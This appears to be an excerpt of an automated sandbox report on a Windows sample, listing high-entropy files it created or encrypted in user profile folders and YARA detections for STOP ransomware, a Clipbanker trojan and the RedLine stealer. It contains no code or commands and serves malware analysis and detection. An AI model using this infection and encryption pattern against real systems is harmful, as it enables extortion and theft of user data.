Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1 entropy: 7.99868957758	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log entropy: 7.99756917598	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99714233773	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99633764749	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat entropy: 7.99193979349	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml entropy: 7.99855021659	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.99573860662	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.session entropy: 7.99142819495	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.99275523764	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99374001164	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99301888814	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db entropy: 7.99802000489	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db entropy: 7.99827418765	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db entropy: 7.99663149935	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db entropy: 7.99779143471	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl entropy: 7.99201616151	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml entropy: 7.99706974284	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2 entropy: 7.99428171001	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2 entropy: 7.99805802398	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4 entropy: 7.9986222777	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a791065b-313d-479b-9caf-5d69eec92f14}\0.0.filtertrie.intermediate.txt entropy: 7.99462178952	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\0.0.filtertrie.intermediate.txt entropy: 7.9949854717	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.ft entropy: 7.99654187209	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ab5125af-4ee0-4e4b-8c28-9658b46f5799}\Apps.ft entropy: 7.99645503924	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ab5125af-4ee0-4e4b-8c28-9658b46f5799}\0.0.filtertrie.intermediate.txt entropy: 7.99502735899	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a791065b-313d-479b-9caf-5d69eec92f14}\Apps.ft entropy: 7.99635421801	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt entropy: 7.99843187839	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt entropy: 7.99606350138	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a\override_list.pb.gz entropy: 7.99874740851	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml\YouTube.ico entropy: 7.99843460958	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak\Google Drive.ico entropy: 7.99878515892	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25\model.tflite entropy: 7.99691303199	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb\Docs.ico entropy: 7.99864081651	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag\Slides.ico entropy: 7.99879366822	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm\Gmail.ico entropy: 7.99900376495	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf\Sheets.ico entropy: 7.99878723474	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\BHVNCPHL\25\-U2ww19iycr3M_DiD25JdVUDdqk.br[1].js entropy: 7.9977266083	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html entropy: 7.99839179617	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgzq (copy) entropy: 7.99714233773	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgzq (copy) entropy: 7.99633764749	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgzq (copy) entropy: 7.99193979349	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.bgzq (copy) entropy: 7.99855021659	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgzq (copy) entropy: 7.99573860662	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.session.bgzq (copy) entropy: 7.99142819495	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgzq (copy) entropy: 7.99275523764	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgzq (copy) entropy: 7.99374001164	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgzq (copy) entropy: 7.99301888814	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db.bgzq (copy) entropy: 7.99802000489	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db.bgzq (copy) entropy: 7.99827418765	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.bgzq (copy) entropy: 7.99663149935	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.bgzq (copy) entropy: 7.99779143471	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgzq (copy) entropy: 7.99201616151	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.bgzq (copy) entropy: 7.99706974284	Jump to dropped file
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html.bgzq (copy) entropy: 7.99839179617	Jump to dropped file
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199673019888[1].htm entropy: 7.99474261176	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 19.2.mstsca.exe.8515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 19.2.mstsca.exe.8515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 28.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 19.2.mstsca.exe.8515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 19.2.mstsca.exe.8515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 28.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 10.2.build3.exe.8115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 10.2.build3.exe.8115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 10.2.build3.exe.8115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 10.2.build3.exe.8115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 30.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 25.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 25.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 30.2.mstsca.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.mstsca.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 24.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 24.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 24.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 24.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 25.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0.2.SUwX12D2S6.exe.5e115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.SUwX12D2S6.exe.5e115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.SUwX12D2S6.exe.5e615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.SUwX12D2S6.exe.5e615a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.SUwX12D2S6.exe.5e115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.SUwX12D2S6.exe.5e115a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 23.2.SUwX12D2S6.exe.5ed15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 23.2.SUwX12D2S6.exe.5ed15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.SUwX12D2S6.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.SUwX12D2S6.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 23.2.SUwX12D2S6.exe.5ed15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 23.2.SUwX12D2S6.exe.5ed15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.SUwX12D2S6.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.SUwX12D2S6.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.SUwX12D2S6.exe.5e715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.SUwX12D2S6.exe.5e715a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.SUwX12D2S6.exe.5de15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.SUwX12D2S6.exe.5de15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.SUwX12D2S6.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.SUwX12D2S6.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001A.00000002.2348561919.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001A.00000002.2348561919.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000B.00000002.1848011665.0000000004483000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001E.00000002.3584250955.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001E.00000002.3584250955.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001C.00000002.2974032073.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001C.00000002.2974032073.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001F.00000002.3583753662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001F.00000002.3583753662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000014.00000002.4129162040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000014.00000002.4129162040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.1676862648.000000000459B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000019.00000002.2350347697.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000019.00000002.2350347697.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000005.00000002.1719190222.0000000004544000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1701561007.000000000442E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.1719252737.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000013.00000002.2019412066.00000000009BC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001D.00000002.2973232719.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001D.00000002.2973232719.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000013.00000002.2019239112.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000013.00000002.2019239112.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001C.00000002.2974276962.00000000009A0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
